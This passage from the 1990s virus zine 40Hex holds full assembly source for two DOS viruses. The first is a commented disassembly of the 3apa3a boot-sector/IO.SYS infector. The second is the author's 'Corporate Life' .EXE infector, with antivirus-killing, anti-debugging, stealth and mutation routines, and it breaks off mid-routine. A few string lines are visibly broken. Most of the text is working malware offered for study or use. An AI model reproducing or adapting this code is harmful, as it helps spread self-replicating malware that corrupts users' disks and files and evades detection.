; and then move the pieces onto the disk properly.

                .model  tiny
                .code
                .radix  16
                org     0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a:        push    cs
                call    doffset
doffset:        pop     si
                db      83,0EE,4 ; sub si,4
                push    si ax bx cx dx ds es

                mov     ah,4                    ; get date
                int     1Ah

                cmp     dh,8                    ; september?
                jne     no_activate

                lea     bx,cs:[si+message-_3apa3a]
                mov     ax,0E42                 ; begin with B
                mov     cx,endmessage - message
display_loop:   int     10                      ; print character
                add     al,cs:[bx]              ; calculate next character
                inc     bx
                loop    display_loop

no_activate:    cld
                xor     ax,ax                   ; ds = 0
                mov     ds,ax
                push    cs                      ; es = cs
                pop     es
                lea     di,[si+offset old_i13]
                push    si
                mov     si,13*4                 ; grab old int 13 handler
                movsw
                movsw
                mov     ax,ds:413               ; get BIOS memory size
                dec     ax                      ; decrease by 2K
                dec     ax
                mov     ds:413,ax               ; replace the value
                mov     cl,6                    ; convert to paragraphs
                shl     ax,cl
                mov     [si-2],ax               ; replace interrupt handler
                mov     word ptr [si-4],offset i13
                mov     es,ax                   ; move ourselves up
                push    cs
                pop     ds si
                xor     di,di
                mov     cx,200
                push    si
                rep     movsw                   ; copy now!
                inc     ch                      ; cx = 1
                sub     si,200                  ; copy rest
                rep     movsw
                pop     si
                push    cs es
                mov     ax,offset highentry
                push    ax
                retf

highentry:      mov     ax,7C0
                mov     ds,ax
                mov     word ptr ds:200,201
                mov     byte ptr ds:202,80
                les     ax,dword ptr cs:203
                mov     dx,es
                pop     es
                mov     bx,si
                mov     cx,1
                mov     word ptr cs:3C2,0FCF0   ; patch work_on_sectors to call
                call    work_on_sectors         ; do_i13
                pop     es ds dx cx bx ax
                retf

message:        db      ' ' - 'B'
                db      'B' - ' '
                db      'O' - 'B'
                db      'O' - 'O'
                db      'T' - 'O'
                db      ' ' - 'T'
                db      'C' - ' '
                db      'E' - 'C'
                db      'K' - 'E'
                db      'T' - 'K'
                db      'O' - 'T'
                db      'P' - 'O'
                db      'E' - 'P'
                db      ' ' - 'E'
                db      '-' - ' '
                db      ' ' - '-'
                db      '3' - ' '
                db      'A' - '3'
                db      'P' - 'A'
                db      'A' - 'P'
                db      '3' - 'A'
                db      'A' - '3'
                db      '!' - 'A'
                db       7  - '!'
                db      0Dh -  7
                db      10  - 0Dh
endmessage:

do_i13:         mov     ax,ds:200
                mov     dl,ds:202
                mov     byte ptr cs:patch,0EBh  ; jmp absolute
                int     13                      ; do interrupt
                mov     byte ptr cs:patch,75    ; jnz
                jc      retry_error
                cld
                retn

retry_error:    cmp     dl,80                   ; first hard drive?
                je      do_i13                  ; if so, retry
go_exit_i13:    jmp     exit_i13                ; otherwise quit

i13:            push    ax bx cx dx si di ds es bp
                mov     bp,sp
                test    dl,80                   ; hard drive?
patch:          jnz     go_exit_i13

                add     dh,cl                   ; check if working on
                add     dh,ch                   ; boot sector or
                cmp     dh,1                    ; partition table
                ja      go_exit_i13             ; if not, quit

                mov     ax,cs                   ; get our current segment
                add     ax,20                   ; move up 200 bytes
                mov     ds,ax
                mov     es,ax
                mov     word ptr ds:200,201     ; set function to read
                mov     ds:202,dl               ; set drive to hard drive
                mov     bx,400                  ; set buffer
                xor     dx,dx                   ; read in the boot sector
                push    dx
                mov     cx,1
                call    do_i13                  ; read in boot sector

                cmp     byte ptr ds:400+21,2E   ; check if 3apa3a already there
                je      go_exit_i13
                cmp     byte ptr ds:400+18,0
                je      go_exit_i13

                push    cs
                pop     es
                mov     di,203
                mov     si,403
                mov     cx,1Bh                  ; copy disk tables
                cld
                rep     movsb

                sub     si,200                  ; copy the rest
                mov     cx,1E2
                rep     movsb

                inc     byte ptr ds:201         ; set to write
                mov     ax,ds:16                ; get sectors per FAT
                mul     byte ptr ds:10          ; multiply by # FATs
                mov     bx,ds:11                ; get number of sectors
                mov     cl,4                    ; occupied by the root
                shr     bx,cl                   ; directory
                db      83,0FBh,5 ; cmp bx,5    ; at least five?
                jbe     go_exit_i13             ; if not, quit

                add     ax,bx                   ;
                add     ax,ds:0E                ; add # reserved sectors
                dec     ax                      ; drop two sectors to find
                dec     ax                      ; start of last sector
                xor     dx,dx                   ; of root directory
                push    ax dx
                call    abs_sec_to_BIOS
                mov     ds:patch1-200,cx        ; move original boot
                mov     ds:patch2-200,dh        ; sector to the end of the
                xor     bx,bx                   ; root directory
                call    do_i13
                pop     dx ax
                dec     ax
                call    abs_sec_to_BIOS

                mov     ds:34,cx ;patch3        ; write io portion to
                mov     ds:37,dh ;patch4
                add     bh,6                    ; bx = 600
                call    do_i13

                push    ds
                xor     ax,ax
                mov     ds,ax
                mov     dx,ds:46C               ; get timer ticks
                pop     ds

                mov     bl,dl                   ; eight possible instructions
                db      83,0E3,3 ; and bx,3
                push    bx
                shl     bx,1                    ; convert to word index
                mov     si,bx
                mov     cx,es:[bx+encrypt_table]
                pop     bx
                push    bx
                mov     bh,bl
                shr     bl,1                    ; bl decides which ptr to use
                lea     ax,cs:[bx+2BBE]         ; patch pointer
                mov     ds:[decrypt-bs_3apa3a],ax ; and start location
                add     ch,bl
                mov     ds:[encrypt_instr-bs_3apa3a],cx
                add     ax,0CF40
                mov     ds:[patch_endptr-bs_3apa3a],ax
                pop     ax
                push    ax
                mul     dh
                add     al,90                   ; encode xchg ax,??
                add     bl,46                   ; encode inc pointer
                mov     ah,bl
                mov     ds:[patch_incptr-bs_3apa3a],ax
                mov     dx,word ptr cs:[si+decrypt_table]
                mov     word ptr cs:decrypt_instr,dx
                pop     di
                db      83,0C7 ;add di,XX       ; start past decryptor
                dw      bs_3apa3a_decrypt - bs_3apa3a
                org     $ - 1
                mov     si,di
                push    ds
                pop     es
                mov     cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
                mov     ah,al
encrypt_loop:   lodsb
decrypt_instr:  add     al,ah
                stosb
                loop    encrypt_loop

                pop     dx
                mov     cx,1                    ; write the replacement
                xor     bx,bx                   ; boot sector to the disk
                call    do_i13
exit_i13:       mov     sp,bp
                pop     bp es ds di si dx cx bx ax
                db      0EAh
old_i13         dw      0, 0

decrypt_table:  not     al
                sub     al,ah
                add     al,ah
                xor     al,ah

encrypt_table   dw     014F6                    ; not
                dw      0480                    ; add
                dw      2C80                    ; sub
                dw      3480                    ; xor
; This marks the end of the IO.SYS only portion of 3apa3a

; The boot sector portion of 3apa3a follows.

                adj_ofs = 7C00 + zero - bs_3apa3a

bs_3apa3a:      jmp     short decrypt
                nop
                ; The following is an invalid boot sector. Replace it with
                ; yours.
                db      '        '

                db       00, 00, 00, 00, 00, 00
                db       00, 00, 00, 00, 00, 00
                db       00, 00, 00, 00, 00, 00
                db       00

decrypt:        db      0BF ; mov di,
                dw      adj_ofs + bs_3apa3a_decrypt
decrypt_loop:   db      2e ; cs:
encrypt_instr   label   word
                db      80,2Dh                  ; sub byte ptr [di],XX
patch_incptr    label   word
                db      0                       ; temporary value for cryptval
                inc     di
                db      81  ; cmp
patch_endptr    label   word
                db      0ff ; pointer
                dw      adj_ofs + end_crypt
                jne     decrypt_loop
bs_3apa3a_decrypt = $ - 1
                jmp     short enter_bs_3apa3a
                nop

load_original:  xor     dx,dx                   ; set up the read
                mov     es,dx                   ; of the original boot sector
                db      0B9 ; mov cx, XXXX
patch3          dw      3
                db      0B6
patch4          db      1
                mov     bx,ds                   ; es:bx = 0:7C00
                mov     ax,201
                db      0ebh                    ; jump to code in stack
                dw      bs_3apa3a - 4 - ($ + 1)

                org     $ - 1

enter_bs_3apa3a:cli
                xor     ax,ax
                mov     ss,ax                   ; set stack to just below us
                mov     sp,7C00
                sti
                mov     dl,80                   ; reset hard drive
                int     13

                mov     ax,2F72                 ; encode JNZ load_original at
                                                ; 7BFE
                mov     ds,sp                   ; set segment registers to
                mov     es,sp                   ; 7C00
                push    ax
                mov     word ptr ds:200,201     ; do a read
                mov     ds:202,dl               ; from the hard drive
                xor     bx,bx                   ; read to 7C00:0
                mov     dh,1                    ; read head 1
                mov     cx,1                    ; read sector 1
                                                ; (assumes active boot
                                                ; sector is here)
                mov     ax,13CDh                ; encode int 13 at 7BFC
                push    ax
                call    exec_int13              ; do the read
                mov     bx,203
                cmp     byte ptr [bx-4],0AA     ; is it valid bs?
jnz_load_original:
                jne     load_original           ; if not, assume infected and
                                                ; transfer control to it
                mov     ax,ds:13                ; get number of sectors in
                dec     ax                      ; image - 1
                cmp     ax,5103                 ; hard drive too small? (5103h
                jbe     load_original           ; sectors ~ 10.6 megs)
                mov     ax,ds:1C                ; get number hidden sectors
                add     ax,ds:0E                ; add number reserved sectors
                mov     ds:9,ax                 ; store at location that holds
                                                ; the end of OEM signature
                add     ax,ds:16                ; add sectors per FAT
                dec     ax                      ; go down two sectors
                dec     ax
                push    ax
                xor     dx,dx
                mov     cx,dx
                call    work_on_sectors         ; load end of FAT to 7C00:203
                mov     ax,ds:16                ; get sectors per FAT
                push    ax                      ; save the value
                mul     byte ptr ds:10          ; multiply by # FATs
                add     ax,ds:9                 ; calculate start of root dir
                mov     ds:7,ax                 ; store it in work buffer
                mov     cl,4
                mov     si,ds:11                ; get number sectors the
                shr     si,cl                   ; root directory takes
                add     si,ax                   ; and calculate start of data
                mov     ds:5,si                 ; area and store it in buffer
                call    work_on_sectors         ; get first 5 sectors of the
                                                ; root directory
                test    byte ptr ds:403+0Bh,8   ; volume label bit set on first
                                                ; entry? (infection marker)
jne_load_original:                              ; if so, already infected, so
                jnz     jnz_load_original       ; quit
                xor     si,si
                mov     bx,1003
                mov     ax,ds:403+1A            ; get starting cluster number
                                                ; of IO.SYS
read_IO_SYS:    push    ax                      ; convert cluster to absolute
                call    clus_to_abs_sec         ; sector number
                call    work_on_sector          ; read in one cluster of IO.SYS
                inc     si
                pop     ax

                push    bx ax
                mov     bx,403+0A00             ; read into this buffer
                push    bx
                mov     al,ah                   ; find the sector with the FAT
                xor     dx,dx                   ; entry corresponding to this
                mov     ah,dl                   ; cluster
                add     ax,ds:9
                call    work_on_sectors         ; read in the FAT
                pop     bx ax
                mov     ah,dl
                shl     ax,1
                mov     di,ax
                mov     ax,[bx+di]              ; grab the FAT entry (either EOF
                                                ; or next cluster number)
                pop     bx                      ; corresponding to this cluster
                cmp     ax,0FFF0                ; is there any more to read?
                jb      read_IO_SYS             ; if so, keep going

                inc     byte ptr ds:201         ; change function to a write
                pop     cx
                dec     cx
                dec     cx
                mov     ds:4,cl
                mov     di,401                  ; scan the end of the FAT
                mov     cx,100
                mov     bp,-1
copy_IO_SYS:    xor     ax,ax                   ; look for unused clusters
                repne   scasw
                jnz     jne_load_original
                mov     [di+2],bp
                mov     bx,cx
                mov     bh,ds:4
                mov     bp,bx                   ; save starting cluster of
                push    bp cx                   ; where IO.SYS will be moved
                mov     ah,ds:0Dh
                shl     ax,1
                dec     si
                mul     si
                mov     bx,ax
                add     bx,1003
                mov     ax,bp
                call    clus_to_abs_sec
                call    work_on_sector          ; move IO.SYS to end of HD
                pop     cx bp
                or      si,si
                jnz     copy_IO_SYS

                mov     si,0DE1                 ; move all but the first two
                mov     di,0E01                 ; directory entries down one
                mov     cx,4D0                  ; (10 dir entries / sector,
                rep     movsw                   ;  5 sectors)
                                                ; DF set by exec_int13
                mov     si,421                  ; move IO.SYS entry down two
                mov     cx,10                   ; entries
                rep     movsw

                mov     ds:400+2*20+1Dh,bp      ; set starting cluster of the
                                                ; moved original IO.SYS
                or      byte ptr ds:40E,8       ; set volume label bit on first
                                                ; IO.SYS entry
                mov     bx,403                  ; point to root directory
                mov     ax,ds:7                 ; get starting cluster of
                xor     dx,dx                   ; root dir
                mov     cl,4
                call    work_on_sectors         ; write updated root directory
                pop     ax                      ; to the disk
write_FATs:     mov     bx,203                  ; point to the updated FAT
                call    work_on_sectors         ; write changed end of FAT

                dec     ax
                add     ax,ds:16                ; add sectors per FAT
                dec     byte ptr ds:10          ; processed all the FATs?
                jnz     write_FATs

                mov     ax,bp
                call    clus_to_abs_sec
                mov     cs:7C03,ax              ; store the values
                mov     cs:7C05,dx
                mov     byte ptr cs:7C01,1Ch

                xor     ax,ax                   ; reset default drive
                mov     dx,ax
                int     13

                mov     ax,201                  ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
                db      0b9 ; mov cx, XXXX
patch1          dw      0
                db      0b6 ; mov dh, XX
patch2          db      0
                mov     bx,0E03
                call    perform_int13

                mov     ax,ds:403+1A            ; get starting cluster number
                call    clus_to_abs_sec         ; of IO.SYS
                xor     cx,cx
                call    work_on_sectors
                mov     bx,ds
                mov     es,cx
                call    work_on_sectors
go_load_original:
                jmp     load_original

exec_int13:     mov     ax,ds:200               ; get function from memory
                mov     dl,ds:202               ; get drive from memory
perform_int13:  int     13
                jc      go_load_original
                std
                retn

work_on_sectors:inc     cx
work_on_sector: push    cx dx ax
                call    abs_sec_to_BIOS
                call    exec_int13
                pop     ax dx cx
                add     ax,1                    ; calculate next sector
                db      83,0D2,0 ; adc dx,0     ; (don't use INC because
                add     bh,2                    ; INC doesn't set carry)
                loop    work_on_sector          ; do it for the next sector

                retn

abs_sec_to_BIOS:div     word ptr ds:18          ; divide by sectors per track
                mov     cx,dx
                inc     cl
                xor     dx,dx
                div     word ptr ds:1A          ; divide by number of heads
                ror     ah,1
                ror     ah,1
                xchg    ah,al
                add     cx,ax
                mov     dh,dl
                retn

clus_to_abs_sec:mov     cl,ds:0Dh               ; get sectors per cluster
                xor     ch,ch                   ; (convert to word)
                dec     ax
                dec     ax
                mul     cx                      ; convert cluster number to
                add     ax,ds:5                 ; absolute sector number
end_crypt:      db      83,0D2,0 ; adc dx,0
                retn

                dw      0AA55                   ; boot signature

                end     _3apa3a

40Hex Number 14 Volume 5 Issue 1                                      File 008

   A lot of you saw the letter I posted in alt.comp.virus..... I thought I
might explain it now that I am sober ;)  I did write the letter, and
a.) I was drunk as hell, and b.) I keep my word and have stopped writing
viruses.  If you didn't read it, well, basically some schmuck (who I found
out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got 
infected with KeyKapture 2, and wrote me email about it.  I was drunk
when I got it, got real depressed, etc. etc.... Anyway, I don't support
infecting the public with viruses, especially destructive ones, and never 
have (WTF is the point of doing that anyway?).  However, I find viruses one 
of the most interesting and unique program types out there, and really hate 
to see information regarding them censored, as censorship is the weapon of 
men with small minds (at least) and too many fears.

Anyway, here is the last virus I wrote before I stopped writing viruses.  
It was never really completed - I was working on a better polymorphic engine 
for it (its current one is tres lame, and was written in about an hour, 
including testing), needed to remove the prefetch tricks (damn pentium chips) 
and some other things, but what the hell.... here's what I had written to that 
point - it works, and has a few neato ideas (all FCB stuff, loads itself into 
the memory of other programs, etc).  Try running it with the Soundblaster 
speech drivers loaded if you get really bored.

                                        - Stormbringer, Phalcon/Skism, 1995

;----------------------- cut here, corplife.asm ---------------------------
;??????????????????????????????????????????????????????????????????????????
;?            Corporate Life (c) 1994 Stormbringer, Phalcon/Skism         ?
;??????????????????????????????????????????????????????????????????????????
;? Dreams disipate like fog before the harsh sun -                        ?
;? Every morning, driving to work through the traffic,                    ?
;? A number, a cube, a tie.....                                           ?
;?                                                                        ?
;? Don't let your dreams die, mes amis,                                   ?
;? Or you will become just another puppet -                               ?
;? Led by the strings of money by an ungrateful master.                   ?
;?                                                                        ?
;?                       Fuck Corporate Life!                             ?
;??????????????????????????????????????????????????????????????????????????
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
;Moderately Armored.
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
;Memory Stealth - becomes a part of the last TSR program in memory.
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
;   (Only infects DOS .EXE files with no overlays)
;Critical Error Handler.

.model tiny
.radix 16
.code
        org 100
start:
        push    es
        push    cs
        pop     ds
        db      2dh dup(90)
EXE_ENTRY:
        jmp     short rotateit
        db      09A
rotateit:
        ror     word ptr cs:[HostCS],1
        jmp     short EntryArmor
        db      0ea                             ;simple annoyance for disasm
;----------------------------
  EntryArmor:
        push    word ptr cs:[Armor1]
        mov     ax,not(00eah)
        push    ax
        mov     bp,sp
        not     word ptr ss:[bp]                ;should lose trace-based
        pop     word ptr cs:[Armor1]            ;analysis, such as f-prot's
  Armor1:                                       ;heuristics and TBCLEAN
        pop     word ptr cs:[Armor1]
        call    recursionshit
;----------------------------
GetDosVersion:  
        mov     ax,3001
        int     21
        cmp     al,6
        ja      BadDos
        cmp     al,3
        jb      BadDos
        jmp     short   DosFine
        db      0ea  
BadDos:  
        jmp     IsActiveInMemory
        db      0ff
  DosFine:
;----------------------------  
  KillVSAFE:
        mov     dx,not(0fa01)
        mov     ax,not(5945)        
        xchg    dx,ax
        push    cs
        not     ax
        not     dx
        int     16              ;Kill vsafe... lame friggin' program anyway
        pop     ds      
;----------------------------
  CheckIfActive:
        mov     ah,09
        mov     dx,offset Credits
        int     21
        jnc     GetInt21Address
        jmp     IsActiveInMemory
;----------------------------        
   GetInt21Address:
        xor     ax,ax
        push    ds ax
        pop     ds
        push    word ptr ds:[84]
        push    word ptr ds:[05*4]
        push    word ptr ds:[86]
        push    word ptr ds:[05*4+2]
        pop     word ptr ds:[03*4+2]
        pop     word ptr cs:[Org21CS]
        pop     word ptr ds:[03*4]
        pop     word ptr cs:[Org21IP]        
        pop     ds
                  
        push    es
;----------------------------   
   AllocTempMem:
        mov     ah,4a
        mov     bx,-1
        call    call21direct

        sub     bx,(end_main-start+1f)/10
        mov     ah,4a
        call    call21direct
        
        mov     bx,(end_main-start+0f)/10
        mov     ah,48
        call    call21direct
        
;----------------------------
   PutVirusInTempMem:
        sub     ax,10
        mov     es,ax
        mov     di,100
        mov     si,di
        mov     cx,(end_main-start)
        repnz   movsb

        push    ds
        mov     ds,cx
        
  SetupProgramTerminate:
        push    ds:[22*4]
        push    ds:[22*4+2]
        mov     ds:[22*4],offset Int22
        mov     ds:[22*4+2],es
        mov     word ptr ds:[6],0fff0
        mov     word ptr ds:[4],0
        pop     ax
        pop     bx
        pop     ds
        mov     es:[IP22],bx
        mov     es:[CS22],ax
        pop     ds
        mov     ds:[0a],offset Int22
        mov     ds:[0c],es
;----------------------------        
IsActiveInMemory:
        pop     es
        push    es
        pop     ds
        mov     ax,es
        add     ax,10
        add     cs:HostCS,ax
        add     ax,cs:HostSS
        cli
        mov     ss,ax
        mov     sp,cs:[HostSP]
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        xor     di,di
        mov     si,100
        sti
        jmp     dword ptr cs:[HostEntry]

HostEntry:
        HostIP  dw      0
        HostCS  dw      0fff0
        HostSS  dw      0fff0
        HostSP  dw      0fffe

Call21Direct:
        pushf
        call    dword ptr cs:[Org21IP]
        ret

        Org21IP dw      0
        Org21CS dw      0
;-----------------------------
recursionshit:
        mov     cx,11
        call    recurseit
        ret
        db      081
recurseit:
        jmp     short bumpshit
        db      0ff
Afterbump:
        dec     cx
        pop     ax bx dx
        jz      exitrecurse
        call    recurseit
  exitrecurse:
        rol     word ptr cs:[HostCS],1
        ret
        db      0cdh
bumpshit:
        mov     bp,sp
        push    ds
        mov     bx,cs
        push    ax
        mov     word ptr [bp-4],0
        pop     ds
        mov     word ptr ds:[3*4],offset afterbump
        mov     word ptr ds:[3*4+2],bx
        pop     ds
        int     3
How_did_ya_get_here:
        loop    How_did_ya_get_here        
        mov     ds,cx
        push    word ptr ds:[46c]
        push    word ptr ds:[46c]
        push    word ptr ds:[46e]
        iret
;-----------------------------
        db      83
Int22:
        mov     ah,52
        call    call21direct
        mov     es,es:[bx-2]
        mov     bx,es
        mov     ax,es:[03]
        mov     cx,es
        add     ax,cx
        inc     ax
        mov     es,ax

   FindMCB:
        mov     ax,es:[03]
        cmp     ax,(end_prog-start+4f)/10
        jb      TooSmall
        cmp     word ptr es:[01],0
        je      FoundOne
        jmp     NExtOne
    TooSmall:
        cmp     word ptr es:[01],0
        jne     NextOne
        jmp     SkipBXMove

     NextOne:
        mov     bx,es
     SkipBXMove:
        mov     cx,es
        add     ax,cx
        inc     ax
        cmp     ax,0f000
        je      NoMem
        cmp     byte ptr es:[0],'M'
        jne     NoMem
        mov     es,ax
        jmp     FindMCB
        db      081
     NoMem:
        jmp     Exit22
        db      0ea
     FoundOne:
        mov     dx,es
        mov     es,bx
        inc     bx
        add     bx,word ptr es:[03]
        push    bx
        mov     ax,es 
        
        push    word ptr es:[01]
        push    es

        inc     ax
        mov     bx,word ptr es:[03]
        mov     word ptr cs:[HostMem],ax
        mov     es,ax
        mov     ah,4a
        add     bx,(end_prog-start+3f)/10
        call    call21direct
        jc      TooSmall

        pop     es
        pop     word ptr es:[01]

        pop     ax
        sub     ax,10
        mov     es,ax
        mov     di,100
        mov     si,di
        push    cs
        pop     ds
        mov     cx,(end_prog-start)
        repnz   movsb
        
        inc     cx
        mov     ds,cx
        push    word ptr ds:[74]
        push    word ptr ds:[76]
        mov     word ptr ds:[74],offset Int21
        mov     word ptr ds:[76],es
        pop     word ptr es:[CS21]
        pop     word ptr es:[IP21]
        call    ActivateSoundBlaster
Exit22:
        db      0ea
IP22    dw      0
CS22    dw      0

        db      0ff
Int21:
        cmp     ah,09
        jne     NotInstallCheck
        xchg    dx,bx
        cmp     word ptr ds:[bx],'B



        xchg    dx,bx        
        jne     Exit21
        stc
        retf    2
        
        db      088
   NotInstallCheck:
        push    ax              ;reversed bits on ah
        xor     ah,11           ;0001 0001 ;11 - find first
        jz      FindFile
        xor     ah,3
        jz      FindFile        ;0001 0010 ;12 - find next
        xor     ah,5bh          ;0100 1001 ;49 - dealloc mem
        jz      Dealloc

   ExitTests:        
        pop     ax

   ExitFunctions:
Exit21:
        db      0ea
IP21    dw      0
CS21    dw      0
        
        db      0ea
Dealloc:
        mov     ax,es
        cmp     ax,word ptr cs:[HostMem]
        pop     ax
        jne     Exit21
        iret
        
        db      0ea
GoExitFind:
        jmp     ExitFind

FindFile:
        pop     ax
        call    FakeInt21
        or      al,al
        jnz     GoExitFind

        push    ax bx cx dx es ds si di
        call    SetCritical
        mov     ah,2f
        call    FakeInt21
        push    es bx


        cmp     byte ptr es:[bx],0ff
        jne     ExitCheck
        add     bx,7
  CheckIfEXE:
        cmp     word ptr es:[bx+09],'XE'
        jne     ExitCheck
        cmp     byte ptr es:[bx+0bh],'E'
        jne     ExitCheck
  CheckIfInfected:
        cmp     word ptr es:[bx+19h],0c800
        ja      SubVirSize
 RandomChanceOfInfect:
        call    RandomChance
        jc      SubVirSize
       
 SetupInfectFile:
        push    es bx
        push    cs
        pop     es
        mov     di,offset FCB1
        mov     cx,EndFCB1-FCB1
        xor     ax,ax
        push    di
        repnz   stosb
        pop     di
        pop     si ds
        mov     cx,12d
        repnz   movsb
   OpenFileFCB:        
        mov     ah,0f
        push    cs
        pop     ds
        mov     dx,offset FCB1
        call    FakeInt21
        inc     al        
        jz      SubVirSize              ;Error Occured

        push    es bx
        call    InfectFileFCB
        pop     bx es

   CloseFileFCB:        
        mov     ah,10
        mov     dx,offset FCB1
        call    FakeInt21
  SubVirSize:        
        cmp     word ptr es:[bx+19],0c800
        jb      AfterDirStealth
        sub     word ptr es:[bx+19],0c800
        
        push    bx        
        mov     ah,62
        call    FakeInt21
        mov     ax,cs
        cmp     bx,ax
        pop     bx
        ja      AfterDirStealth
        sub     word ptr es:[bx+1dh],(end_main-start+40)
        sbb     word ptr es:[bx+1f],0
                
  AfterDirStealth:
    ExitCheck:
        pop     dx ds
        mov     ah,1a
        call    fakeint21
        call    ResetCritical
        pop     di si ds es dx cx bx ax
ExitFind:        
        retf    2


        db      0ea
FakeInt21:
        pushf
        call    dword ptr cs:[IP21]
        ret
        
        db      09a
BadFile:
        jmp     ExitInfFCB

        db      0ea
InfectFileFCB:
        push    word ptr [FCBTime]
        push    word ptr [FCBDate]
        
        push    word ptr [FCBFSize]
        push    word ptr [FCBFSize+2]
        pop     word ptr [OrgSize+2]
        pop     word ptr [OrgSize]
        
        call    CheckHeader
        jc      InfectionCheck
        call    SaveValues
        call    ResetHeader
        call    PAdEndOfFile
        jmp     ModTimeInfected

  InfectionCheck:
        jc      ExitInfFCB                      ;was infection successful?

  ModTimeInfected:        
        pop     ax
        add     ax,0c800
        push    ax

    ExitInfFCB:
        pop     word ptr cs:[FCBDate]
        pop     word ptr cs:[FCBTime]
        ret


PadEndOfFile:
        mov     ax,word ptr [OrgSize]
        mov     dx,word ptr [OrgSize+2]
        add     ax,(end_main-start+40)
        adc     dx,0
        mov     word ptr [FCBFSize],ax
        mov     word ptr [FCBFSize+2],dx
        ret
      
RandomChance:
        push    ax ds
        xor     ax,ax
        mov     ds,ax
        mov     ax,ds:[46c]
        shr     ax,1
        pop     ds ax
        ret




ResetHEader:
        mov     ax,word ptr [FCBFsize]
        mov     dx,word ptr [FCBFsize+2]
        and     ax,1ff
        mov     word ptr [EXEHeader+2],ax
        mov     ax,word ptr [FCBFsize]
        jz      NoCarry
        add     ax,1ff
   NoCarry:
        mov     cl,9
        shr     ax,cl
        mov     cl,7
        shl     dx,cl
        add     dx,ax
        mov     word ptr [EXEHeader+4],dx
        add     word ptr [exeheader+0a],(end_main-start+1f)/10
        
        mov     ah,1a
        mov     dx,offset EXEHeader
        call    fakeint21

        mov     dx,offset FCB1
        
        mov     byte ptr [FCBCurRec],0
        mov     word ptr [FCBBlock],0
        mov     word ptr [FCBRecSize],40
        mov     ah,15
        call    fakeInt21
        ret

CheckHEader:
        mov     word ptr [FCBRecSize],40
        mov     ah,1a
        mov     dx,offset EXEHeader
        call    fakeInt21               ;Set DTA for read
        
        mov     ah,14
        mov     dx,offset FCB1          ;read EXEheader
        call    fakeInt21

        mov     ax,word ptr [EXEHeader]
        add     ah,al
        xor     ah,('Z'+'M')
        jnz     BadHeader
        cmp     word ptr [EXEHeader+1a],0
        jnz     BadHEader
        cmp     word ptr [EXEHeader+18],40
        jae     BadHeader
        cmp     word ptr [FCBFSize+2],4
        ja      BadHeader

        clc
        ret
BadHeader:
        stc
        ret
        

SaveValues:
        push    word ptr [EXEHeader+0e]
        mov     ax,word ptr [FCBFsize]
        push    word ptr [EXEHeader+10]
        mov     dx,word ptr [FCBFsize+2]
        push    word ptr [EXEHEader+14]
        mov     cl,4
        mov     bx,word ptr [EXEHeader+08]
        shl     bx,cl
        sub     ax,bx
        sbb     dx,0
        push    word ptr [EXEHEader+16]
        shr     ax,cl
        pop     word ptr [HostCS]
        adc     ax,0
        pop     word ptr [HostIP]
        mov     bx,ax
        pop     word ptr [HostSP]
        shl     ax,cl
        pop     word ptr [HostSS]
        adc     dx,0
        mov     cl,0c
        shl     dx,cl
        add     bx,dx
        sub     bx,0f
        mov     word ptr [EXEHeader+16],bx
        mov     word ptr [EXEHeader+14],100
        add     bx,0f0
        mov     word ptr [EXEHeader+0e],bx
        mov     word ptr [EXEHeader+10],2fe
        
        
        mov     ax,word ptr [FCBFsize]
        mov     dx,word ptr [FCBFsize+2]
        mov     cl,4
        shr     ax,cl
        adc     ax,0

        mov     ch,dl
        mov     cl,4
        shr     dx,cl
        shl     ch,cl
        add     ah,ch
        adc     dx,0

        inc     ax
        adc     dx,0
        mov     word ptr [FCBRanRec],ax
        mov     word ptr [FCBRanRec+2],dx
        mov     word ptr [FCBRecSize],10

        push    cx bx dx si di
        call    Mutate
        pop     di si dx bx cx

        mov     dx,offset DecryptBuffer

AppendLoop:
        mov     ah,1a
        call    fakeint21
        push    dx
        mov     ah,22
        mov     dx,offset FCB1
        call    fakeint21
        pop     dx
        call    updateRecAndDX
        cmp     dx,offset end_prog
        jb      AppendLoop
        ret


UpdateRecAndDX:        
        add     dx,10
        add     word ptr [FCBRanRec],1
        adc     word ptr [FCBRanRec+2],0
        ret


SetCritical:
        push    ax ds
        mov     ax,9
        mov     ds,ax
        push    word ptr ds:[0]
        push    word ptr ds:[2]
        pop     word ptr cs:[OldCritical+2]
        pop     word ptr cs:[OldCritical]
        mov     word ptr ds:[0],offset CriticalError
        push    cs
        pop     word ptr ds:[02]
        pop     ds ax
        ret
        
ResetCritical:
        push    ax ds
        push    word ptr cs:[OldCritical]
        mov     ax,9
        push    word ptr cs:[OldCritical+2]
        mov     ds,ax
        pop     word ptr ds:[2]
        pop     word ptr ds:[0]
        pop     ds ax
        ret


CriticalError:
        mov     al,3
        iret

OldCritical     dd      0
HostMem         dw      0
Credits:
db      '$B -=[$$ Corporate Life $$]=- P



EndCredits:

OrgSize         dd      0
FCB1:
        FCBDrive        db      0
        FCBFName        db      8 dup(0)
        FCBExt          db      3 dup(0)
        FCBBlock        dw      0
        FCBRecSize      dw      0
        FCBFSize        dd      0
        FCBDate         dw      0
        FCBTime         dw      0
        FCBReserved     db      8 dup(0)
        FCBCurRec       db      0
        FCBRanRec       dd      0
EndFCB1:
EXEHeader       db      40 dup(0)

;-----------------]> Activation routine - talks if sound blaster speech drv'r
ActivateSoundBlaster:
  CheckIfSBSpeechEnabled:
        push    ax bx es ds si di
        xor     ax,ax
        mov     es,ax
        mov     ax,0fbfbh
        int     2f
        mov     ax,es
        or      ax,ax
        jz      notinstalled
        cmp     word ptr es:[bx],'BF'
        jne     notinstalled
 SayFuckCorporateLife:
        mov     ax,0707
        mov     si,offset speechbuf
        mov     di,20
        add     di,bx
        mov     cx,(endmess-speechbuf)
        push    cs
        pop     ds
        repnz   movsb
        call    dword ptr es:[bx+4]
NotInstalled:
        pop     di si ds es bx ax
        ret

speechbuf:
        db      (endmess-message)
message db      'Fuck Corporat Life.',0a,0dh
endmess:
;-----------------]> Simple friggin' mutation engine, but quite small....
Mutate: 
        push    cs cs
        pop     es ds
        mov     cx,(end_main-EXE_Entry)
        call    InitRand
    SetupCounter:
        mov     word ptr [SetCounter+1],cx
    PreProcessCode:
